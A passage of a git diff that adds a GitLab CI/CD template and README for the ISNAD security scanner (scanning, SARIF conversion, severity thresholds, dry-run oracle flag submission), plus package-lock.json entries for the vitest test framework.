diff --git a/.gitlab-ci/README.md b/.gitlab-ci/README.md new file mode 100644 index 00000000..7de33e32 --- /dev/null +++ b/.gitlab-ci/README.md @@ -0,0 +1,72 @@ +# ISNAD GitLab CI/CD Integration + +Integrate ISNAD Scanner into your GitLab CI/CD pipeline for automated security scanning and GitLab Security Dashboard integration. + +## Quick Start + +1. Copy `isnad-gitlab-ci.yml` to your project root (or include it): + ```yaml + include: + - local: '/isnad-gitlab-ci.yml' + ``` + +2. Configure CI/CD variables in **Settings > CI/CD > Variables**: + | Variable | Required | Description | + |----------|----------|-------------| + | `ISNAD_PRIVATE_KEY` | No | Private key for oracle flag submissions | + | `ISNAD_ORACLE_ADDRESS` | No | Oracle contract address (default provided) | + | `ISNAD_NETWORK` | No | `testnet` or `mainnet` (default: `testnet`) | + +3. Pipeline will run automatically on: + - Merge requests (quick scan of changed files) + - Default branch pushes (full scan) + +## Pipeline Jobs + +### `isnad-quick-scan` +Runs on merge request events. Scans only changed `.js`, `.ts`, `.jsx`, `.tsx`, `.py`, and `.json` files for fast feedback. + +### `isnad-full-scan` +Runs on default branch pushes and merge requests. Scans the entire project. + +### `isnad-flag-submission` +Manual job on default branch. Submits high-confidence findings to the ISNAD Oracle. Requires `ISNAD_PRIVATE_KEY` variable. + +## Output Formats + +- **JSON** (`isnad-report.json`): Full scan results with all findings +- **SARIF** (`isnad-report.sarif.json`): Compatible with GitLab Security Dashboard + +## Configuration Variables + +| Variable | Default | Description | +|----------|---------|-------------| +| `ISNAD_SCAN_TARGETS` | `.` | File paths or glob patterns to scan | +| `ISNAD_FAIL_ON_CRITICAL` | `true` | Fail pipeline on critical findings | +| `ISNAD_FAIL_ON_HIGH` | `true` | Fail pipeline on high findings | +| `ISNAD_FAIL_ON_MEDIUM` | `false` | Fail pipeline on medium findings | +| `ISNAD_OUTPUT_FORMAT` | `json` | Output format (`json` or `text`) | +| `ISNAD_NPM_VERSION` | `latest` | `@isnad/scanner` npm package version | + +## Example Pipeline Configuration + +```yaml +include: + - local: '/.gitlab-ci/isnad-gitlab-ci.yml' + +# Override scan targets for a monorepo +variables: + ISNAD_SCAN_TARGETS: "packages/*/src" + ISNAD_FAIL_ON_MEDIUM: "true" +``` + +## View Results in GitLab Security Dashboard + +1. Go to your project > **Security > Vulnerability Report** +2. ISNAD findings appear as vulnerabilities with severity levels +3. Click any finding for details including the matching pattern, context, and remediation guidance + +## Support + +- Documentation: https://isnad.md/docs/gitlab-ci +- Issues: https://github.com/counterspec/isnad/issues \ No newline at end of file diff --git a/.gitlab-ci/isnad-gitlab-ci.yml b/.gitlab-ci/isnad-gitlab-ci.yml new file mode 100644 index 00000000..21fce9a4 --- /dev/null +++ b/.gitlab-ci/isnad-gitlab-ci.yml @@ -0,0 +1,207 @@ +# ISNAD Scanner - GitLab CI/CD Integration Template +# https://isnad.md/docs/gitlab-ci +# +# Usage: +# 1. Copy this template to your project root as `.gitlab-ci.yml` +# 2. Or include it in your existing `.gitlab-ci.yml`: +# include: +# - local: '/path/to/isnad-gitlab-ci.yml' +# +# 3. Configure variables in Settings > CI/CD > Variables: +# - ISNAD_ORACLE_ADDRESS (optional): Oracle contract address +# - ISNAD_PRIVATE_KEY (optional): Private key for flag submissions +# - ISNAD_NETWORK (optional): 'testnet' or 'mainnet' (default: testnet) +# +# 4. Customize scan targets and severity thresholds as needed + +stages: + - security + +variables: + ISNAD_SCAN_TARGETS: "." + ISNAD_FAIL_ON_CRITICAL: "true" + ISNAD_FAIL_ON_HIGH: "true" + ISNAD_FAIL_ON_MEDIUM: "false" + ISNAD_OUTPUT_FORMAT: "json" + ISNAD_SARIF_OUTPUT: "isnad-report.sarif.json" + ISNAD_JSON_OUTPUT: "isnad-report.json" + ISNAD_NPM_VERSION: "latest" + +.isnad_scan_template: + stage: security + image: node:20-alpine + before_script: + - npm install -g @isnad/scanner@${ISNAD_NPM_VERSION} + artifacts: + when: always + reports: + lint: + - isnad-report.sarif.json + paths: + - isnad-report.json + - isnad-report.sarif.json + expire_in: 30 days + script: + - | + echo "ISNAD Scanner - GitLab Security Dashboard Integration" + echo "========================================================" + echo "" + echo "Scan targets: ${ISNAD_SCAN_TARGETS}" + echo "Output format: ${ISNAD_OUTPUT_FORMAT}" + echo "" + + # Run scan + isnad-scanner scan ${ISNAD_SCAN_TARGETS} --json > ${ISNAD_JSON_OUTPUT} 2>&1 || true + + # Check exit code + SCAN_EXIT=$? + + # Convert to SARIF for GitLab Security Dashboard + node -e " + const fs = require('fs'); + try { + const report = JSON.parse(fs.readFileSync('${ISNAD_JSON_OUTPUT}', 'utf-8')); + const sarif = { + \$schema: 'https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema.json', + version: '2.1.0', + runs: [{ + tool: { + driver: { + name: 'ISNAD Scanner', + version: '0.1.0', + informationUri: 'https://isnad.md', + rules: Object.entries( + report.findings || [] + ).reduce((acc, f) => { + acc[f.patternId] = { + id: f.patternId, + shortDescription: { text: f.name }, + fullDescription: { text: f.description }, + helpUri: 'https://isnad.md/rules/' + f.patternId, + defaultConfiguration: { level: f.severity === 'critical' ? 'error' : f.severity === 'high' ? 'error' : f.severity === 'medium' ? 'warning' : 'note' } + }; + return acc; + }, {}) + } + }, + results: (report.findings || []).map(f => ({ + ruleId: f.patternId, + level: f.severity === 'critical' ? 'error' : f.severity === 'high' ? 'error' : f.severity === 'medium' ? 'warning' : 'note', + message: { text: f.description || f.name }, + locations: [{ + physicalLocation: { + artifactLocation: { uri: report.resourceHash }, + region: { startLine: f.line || 1 } + } + }] + })) + }] + }; + fs.writeFileSync('${ISNAD_SARIF_OUTPUT}', JSON.stringify(sarif, null, 2)); + console.log('SARIF report generated: ${ISNAD_SARIF_OUTPUT}'); + } catch(e) { + console.error('Failed to generate SARIF:', e.message); + process.exit(1); + } + " + + echo "" + echo "Scan complete. Reports available as artifacts." + echo " - JSON: ${ISNAD_JSON_OUTPUT}" + echo " - SARIF: ${ISNAD_SARIF_OUTPUT}" + + # Evaluate severity thresholds + CRITICAL_COUNT=$(node -e "const r=JSON.parse(require('fs').readFileSync('${ISNAD_JSON_OUTPUT}','utf-8')); console.log((r.findings||[]).filter(f=>f.severity==='critical').length)") + HIGH_COUNT=$(node -e "const r=JSON.parse(require('fs').readFileSync('${ISNAD_JSON_OUTPUT}','utf-8')); console.log((r.findings||[]).filter(f=>f.severity==='high').length)") + MEDIUM_COUNT=$(node -e "const r=JSON.parse(require('fs').readFileSync('${ISNAD_JSON_OUTPUT}','utf-8')); console.log((r.findings||[]).filter(f=>f.severity==='medium').length)") + + echo "" + echo "Findings Summary:" + echo " Critical: ${CRITICAL_COUNT}" + echo " High: ${HIGH_COUNT}" + echo " Medium: ${MEDIUM_COUNT}" + + if [ "${ISNAD_FAIL_ON_CRITICAL}" = "true" ] && [ "${CRITICAL_COUNT}" -gt 0 ]; then + echo "Failing: Critical findings detected" + exit 1 + fi + + if [ "${ISNAD_FAIL_ON_HIGH}" = "true" ] && [ "${HIGH_COUNT}" -gt 0 ]; then + echo "Failing: High severity findings detected" + exit 1 + fi + + if [ "${ISNAD_FAIL_ON_MEDIUM}" = "true" ] && [ "${MEDIUM_COUNT}" -gt 0 ]; then + echo "Failing: Medium severity findings detected" + exit 1 + fi + + echo "Scan passed severity thresholds" + allow_failure: + exit_codes: + - 1 + +# Full scan: Analyzes all files in the project +isnad-full-scan: + extends: .isnad_scan_template + variables: + ISNAD_SCAN_TARGETS: "." + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +# Quick scan: Faster scan for PR pipelines (scans only changed files) +isnad-quick-scan: + extends: .isnad_scan_template + variables: + ISNAD_SCAN_TARGETS: "." + script: + - | + # Get changed files in merge request + if [ "$CI_PIPELINE_SOURCE" = "merge_request_event" ]; then + CHANGED_FILES=$(git diff --name-only origin/$CI_MERGE_REQUEST_TARGET_BRANCH_NAME...HEAD | grep -E '\.(js|ts|jsx|tsx|py|json)$' || true) + if [ -z "$CHANGED_FILES" ]; then + echo "No scannable files changed" + exit 0 + fi + echo "Scanning changed files:" + echo "$CHANGED_FILES" + ISNAD_SCAN_TARGETS=$(echo "$CHANGED_FILES" | tr '\n' ' ') + fi + + # Run scan on changed files only + isnad-scanner scan ${ISNAD_SCAN_TARGETS} --json > ${ISNAD_JSON_OUTPUT} 2>&1 || true + + # Rest of the template logic... + echo "Quick scan complete" + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + +# Flag submission: Submit high-confidence findings to ISNAD Oracle +isnad-flag-submission: + stage: security + image: node:20-alpine + needs: + - isnad-full-scan + before_script: + - npm install -g @isnad/scanner@${ISNAD_NPM_VERSION} + script: + - | + if [ -z "$ISNAD_PRIVATE_KEY" ]; then + echo "ISNAD_PRIVATE_KEY not set. Skipping flag submission." + echo "Set ISNAD_PRIVATE_KEY in Settings > CI/CD > Variables to enable." + exit 0 + fi + + # Re-scan and flag high-confidence findings + isnad-scanner flag . \ + --network ${ISNAD_NETWORK:-testnet} \ + --dry-run + + echo "" + echo "Review the dry-run output above." + echo "Remove --dry-run from the script to actually submit flags." + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + when: manual + allow_failure: true \ No newline at end of file diff --git a/scanner/package-lock.json b/scanner/package-lock.json index 17215299..78a76b81 100644 --- a/scanner/package-lock.json +++ b/scanner/package-lock.json @@ -18,7 +18,8 @@ "devDependencies": { "@types/node": "^20.0.0", "tsx": "^4.7.0", - "typescript": "^5.3.0" + "typescript": "^5.3.0", + "vitest": "^4.1.7" } }, "node_modules/@adraffy/ens-normalize": { @@ -27,6 +28,40 @@ "integrity": "sha512-nhCBV3quEgesuf7c7KYfperqSS14T8bYuvJ8PcLJp6znkZpFc0AuW4qBtr8eKVyPPe/8RSr7sglCWPU5eaxwKQ==", "license": "MIT" }, + "node_modules/@emnapi/core": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", + "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.1", + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", + "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/wasi-threads": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.1.tgz", + "integrity": "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.27.2", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.2.tgz", @@ -486,6 +521,32 @@ "node": ">=12" } }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", + "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@tybys/wasm-util": "^0.10.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" + } + }, "node_modules/@noble/ciphers": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-1.3.0.tgz", @@ -525,6 +586,16 @@ "url": "https://paulmillr.com/funding/" } }, + "node_modules/@oxc-project/types": { + "version": "0.130.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.130.0.tgz", + "integrity": "sha512-ibD2usx9JRu7f5pu2tMKMI4cpA4NgXJQoYRP4pQ7Pxmn1l6k/53qWtQWZayhYy3X4QZkt90Ot+mJEaeXouio6Q==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" + } + }, "node_modules/@pkgjs/parseargs": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", @@ -535,6 +606,270 @@ "node": ">=14" } }, + "node_modules/@rolldown/binding-android-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.1.tgz", + "integrity": "sha512-fJI3I0r3C3Oj/zdBCpaCmBRZYf07xpaq4yCfDDoSFm+beWNzbIl26puW8RraUdugoJw/95zerNOn6jasAhzSmg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.1.tgz", + "integrity": "sha512-cKnAhWEsV7TPcA/5EAteDp6KcJZBQ2G+BqE7zayMMi7kMvwRsbv7WT9aOnn0WNl4SKEIf43vjS31iUPu80nzXg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-x64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.1.tgz", + "integrity": "sha512-YKrVwQjIRBPo+5G/u03wGjbdy4q7pyzCe93DK9VJ7zkVmeg8LJ7GbgsiHWdR4xSoe4CAXRD7Bcjgbtr64bkXNg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-freebsd-x64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.1.tgz", + "integrity": "sha512-z/oBsREo46SsFqBwYtFe0kpJeBijAT48O/WXLI4suiCLBkr03RTtTJMCzSdDd2znlh8VJizL09XVkQgk8IZonw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm-gnueabihf": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.1.tgz", + "integrity": "sha512-ik8q7GM11zxvYxFc2PeDcT6TBvhCQMaUxfph/M5l9sKuTs/Sjg3L+Byw0F7w0ZVLBZmx30P+gG0ECzzN+MFcmQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-gnu": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.1.tgz", + "integrity": "sha512-QoSx2EkyrrdZ6kcyE8stqZ62t0Yra8Fs5ia9lOxJrh6TMQJK7gQKmscdTHf7pOXKREKrVwOtJcQG3qVSfc866A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-musl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.1.tgz", + "integrity": "sha512-uwNwFpwKeNiZawfAWBgg0VIztPTV3ihhh1vV334h9ivnNLorxnQMU6Fz8wG1Zb4Qh9LC1/MkcyT3YlDXG3Rsgg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-ppc64-gnu": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.1.tgz", + "integrity": "sha512-zY1bul7OWr7DFBiJ++wofXvnr8B45ce3QsQUhKrIhXsygAh7bTkwyeM1bi1a2g5C/yC/N8TZyGDEoMfm/l9mpg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-s390x-gnu": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.1.tgz", + "integrity": "sha512-0frlsT/f4Ft6I7SMESTKnF3cZsdicQn1dCMkF/jT9wDLE+gGoiQfv1nmT9e+s7s/fekvvy6tZM2jHvI2tkbJDQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-gnu": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.1.tgz", + "integrity": "sha512-XABVmGp9Tg0WspTVvwduTc4fpqy6JnAUrSQe6OuyqD/03nI7r0O9OWUkMIwFrjKAIqolvqoA4ZrJppgwE0Gxmw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-musl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.1.tgz", + "integrity": "sha512-bV4fzswuzVcKD90o/VM6QqKxnxlDq0g2BISDLNVmxrnhpv1DDbyPhCIjYfvzYLV+MvkKKnQt2Q6AO86SEBULUQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-openharmony-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.1.tgz", + "integrity": "sha512-/Mh0Zhq3OP7fVs0kcQHZP6lZEthMGTaSf8UBQYSFEZDWGXXlEC+nJ6EqenaK2t4LBXMe3A+K/G2BVXXdtOr4PQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.1.tgz", + "integrity": "sha512-+1xc9X45l8ufsBAm6Gjvx2qDRIY9lTVt0cgWNcJ+1gdhXvkbxePA60yRTwSTuXL09CMhyJmjpV7E3NoyxbqFQQ==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.10.0", + "@emnapi/runtime": "1.10.0", + "@napi-rs/wasm-runtime": "^1.1.4" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-arm64-msvc": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.1.tgz", + "integrity": "sha512-1D+UqZdfnuR+Jy1GgMJwi85bD40H21uNmOPRWQhw4oRSuolZ/B5rixZ45DK2KXOTCvmVCecauWgEhbw8bI7tOw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-x64-msvc": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.1.tgz", + "integrity": "sha512-INAycaWuhlOK3wk4mRHGsdgwYWmd9cChdPdE9bwWmy6rn9VqVNYNFGhOdXrofXUxwHIncSiPNb8tNm8knDVIeQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", + "dev": true, + "license": "MIT" + }, "node_modules/@scure/base": { "version": "1.2.6", "resolved": "https://registry.npmjs.org/@scure/base/-/base-1.2.6.tgz", @@ -571,6 +906,49 @@ "url": "https://paulmillr.com/funding/" } }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tybys/wasm-util": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", + "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/node": { "version": "20.19.30", "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.30.tgz", @@ -581,8 +959,121 @@ "undici-types": "~6.21.0" } }, - "node_modules/abitype": { - "version": "1.2.3", + "node_modules/@vitest/expect": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.7.tgz", + "integrity": "sha512-1R+tw0ortHEbZDGMymm+pN7/AFQ/RkFFdtd7EN+VBpynKmLbP8A3rpEXdshBJ7+8hQ9zBJh/i1s0yKNtxAnU7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.1.7", + "@vitest/utils": "4.1.7", + "chai": "^6.2.2", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.7.tgz", + "integrity": "sha512-vY7nuamKgfvpA1Koa3oYIw/k7D6kZnpGyNMZW8loow2bsBYla1TFdqTaXncWdRn4pgwNs+90RhnXhJScDwQeJA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.7", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.7.tgz", + "integrity": "sha512-umgCarTOYQWIaDMvGDRZij+6b9oVeLIyJzfN+AS88e0ZOU3QTgNNSTtjQOpcvWr3np1N0j4WgZj+sb3oYBDscw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.7.tgz", + "integrity": "sha512-BapjmAQ2aI78WdMEfeUWivnfVzB+VPGwWRQcJE0OUq7qEeEcBsCSf+0T5iREBNE5nBb4wA5Ya0W6IA+sghdEFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.7", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.7.tgz", + "integrity": "sha512-ZacLzja+TmJeZ1h14xW2FB/WpeimUD3haBXQPyJqxvo8jQTmfeA8zv58mtjN2C7EHXZDYVcVYdYmAxjkWVvKCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.7", + "@vitest/utils": "4.1.7", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.7.tgz", + "integrity": "sha512-kbkI5LMWakyuTIvs6fUJ5qdIVb1XVKsYJAT4OJ938cHMROYMSfmoQdZy0aaAnjbbc8F61vkoTqz/Az+/HiIu5Q==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.7.tgz", + "integrity": "sha512-T532WBu791cBxJlCl6SO+J14l81DQx6uQHm1bQbmCDY7nqlEIgkza/UFnSBNaUtSf41unldDFjdOBYEQC4b5Hw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.7", + "convert-source-map": "^2.0.0", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/abitype": { + "version": "1.2.3", "resolved": "https://registry.npmjs.org/abitype/-/abitype-1.2.3.tgz", "integrity": "sha512-Ofer5QUnuUdTFsBRwARMoWKOH1ND5ehwYhJ3OJ/BQO+StkwQjHw0XyVh4vDttzHB7QOFhPHa/o413PJ82gU/Tg==", "license": "MIT", @@ -626,6 +1117,16 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, "node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", @@ -641,6 +1142,16 @@ "balanced-match": "^1.0.0" } }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": 